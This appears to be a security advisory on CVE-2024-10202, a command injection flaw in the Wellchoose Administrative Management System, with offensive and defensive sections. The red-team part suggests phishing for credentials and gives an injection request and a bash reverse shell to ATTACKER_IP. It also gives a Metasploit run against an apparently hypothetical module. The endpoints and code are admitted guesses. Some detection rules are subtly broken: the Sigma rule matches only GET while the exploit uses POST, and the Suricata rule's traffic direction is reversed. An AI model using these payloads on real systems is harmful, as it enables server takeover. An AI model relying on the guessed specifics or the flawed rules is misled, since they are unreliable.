CVE-2024-10202

Executive Summary

CVE-2024-10202 is a critical OS Command Injection vulnerability in the Wellchoose Administrative Management System. This flaw allows remote attackers with regular (low-privileged) user credentials to inject and execute arbitrary operating system commands on the underlying server. The vulnerability carries a CVSS score of 8.8 (High), indicating severe impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or patch details are currently available, but the risk is significant due to the potential for full server compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs only regular user access.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – full system read access.
• Integrity (I): High (H) – full system write access.
• Availability (A): High (H) – full system denial of service or destruction.

Threat Level: Critical for any organization using Wellchoose Administrative Management System. Immediate action required.

Deep Dive & Mechanics

The vulnerability resides in the Administrative Management System by Wellchoose. The application fails to properly sanitize user-supplied input before passing it to a system shell command. An authenticated attacker with regular privileges can craft a malicious request that includes OS command separators (e.g., ;, |, &&, `) to execute arbitrary commands.

Root Cause: The application likely uses a function like system(), exec(), or shell_exec() in PHP (or similar in other languages) without input validation or escaping. For example, a vulnerable endpoint might accept a parameter like ?action=ping&host=127.0.0.1 and execute ping -c 4 127.0.0.1 without sanitizing the host parameter.

Attack Vector: An attacker sends a crafted HTTP request to a vulnerable endpoint, injecting commands such as ; id or | whoami. The server executes the injected command with the privileges of the web server (often www-data or SYSTEM).

Impact: Full remote code execution (RCE) leading to data exfiltration, malware installation, lateral movement, and complete server takeover.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern.

Vulnerable Code (PHP example):

<?php
$host = $_GET['host'];
$output = shell_exec("ping -c 4 " . $host);
echo "<pre>$output</pre>";
?>

Patched Code (Hypothetical):

<?php
$host = $_GET['host'];
// Validate input: only allow IP addresses or hostnames
if (filter_var($host, FILTER_VALIDATE_IP) || preg_match('/^[a-zA-Z0-9.-]+$/', $host)) {
    $output = shell_exec("ping -c 4 " . escapeshellarg($host));
    echo "<pre>$output</pre>";
} else {
    echo "Invalid host.";
}
?>

The patched version uses escapeshellarg() to escape the input and validates the format before execution.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Wellchoose Administrative Management System (e.g., using a Docker container or a local VM).
2. Obtain regular user credentials (e.g., via phishing or default credentials).

Exploitation Steps:

1. Identify a vulnerable endpoint (e.g., /admin/ping.php or /tools/network.php).
2. Inject OS commands via a parameter. Example request:

   POST /admin/ping.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: session=valid_session
   
   host=127.0.0.1;id
   

3. Observe the output (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).
4. Escalate to a reverse shell:

   # Attacker machine
   nc -lvnp 4444
   # Injected command
   host=127.0.0.1;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
   

Automation with Metasploit:

use exploit/multi/http/wellchoose_cmd_inject
set RHOSTS target.com
set USERNAME regular_user
set PASSWORD password123
set TARGETURI /admin/ping.php
set PAYLOAD cmd/unix/reverse_bash
set LHOST attacker_ip
set LPORT 4444
exploit

Blue Team (Defensive)

Detection:

• Monitor for unusual HTTP requests containing shell metacharacters (;, |, &, `, $()).
• Alert on parameters like host, ip, target, cmd containing command injection patterns.
• Use WAF rules to block requests with ;id, |whoami, etc.

Hunting:

• Search web server logs for %3B (URL-encoded ;) or %7C (URL-encoded |) in GET/POST parameters.
• Look for outbound connections from the web server to unusual IPs/ports (e.g., reverse shell traffic).

Containment:

• Immediately isolate the affected server.
• Revoke all user sessions and reset credentials.
• Apply virtual patching via WAF if possible.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_10202_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Wellchoose Administrative Management System"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-10202"
    strings:
        $cmd1 = ";id" ascii wide nocase
        $cmd2 = "|whoami" ascii wide nocase
        $cmd3 = "&&ls" ascii wide nocase
        $cmd4 = "`id`" ascii wide nocase
        $cmd5 = "$(id)" ascii wide nocase
        $param1 = "host=" ascii wide nocase
        $param2 = "target=" ascii wide nocase
        $param3 = "cmd=" ascii wide nocase
    condition:
        any of ($param*) and any of ($cmd*)
}

Sigma Rule

title: CVE-2024-10202 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with command injection patterns targeting Wellchoose Administrative Management System
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - ';id'
            - '|whoami'
            - '&&ls'
            - '`id`'
            - '$(id)'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10202 - Wellchoose Administrative Management System Command Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/admin/ping.php"; http_uri;
    pcre:"/(%3B|\x3B|%7C|\x7C|%26%26|\x26\x26|%60|\x60|%24\x28)/i";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the network.
2. Disable the vulnerable functionality (e.g., remove or disable the ping/network tool).
3. Apply virtual patching using a Web Application Firewall (WAF) to block command injection patterns.
4. Review all user accounts and revoke access for suspicious users.

Long-Term Fix:

• Contact Wellchoose for an official patch or upgrade to a patched version.
• If no patch is available, consider migrating to a different administrative management system.
• Implement input validation and output escaping in all custom code.

Compensating Controls:

• Use a reverse proxy with strict input filtering.
• Enable logging and monitoring for all administrative actions.
• Apply the principle of least privilege to web server processes.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert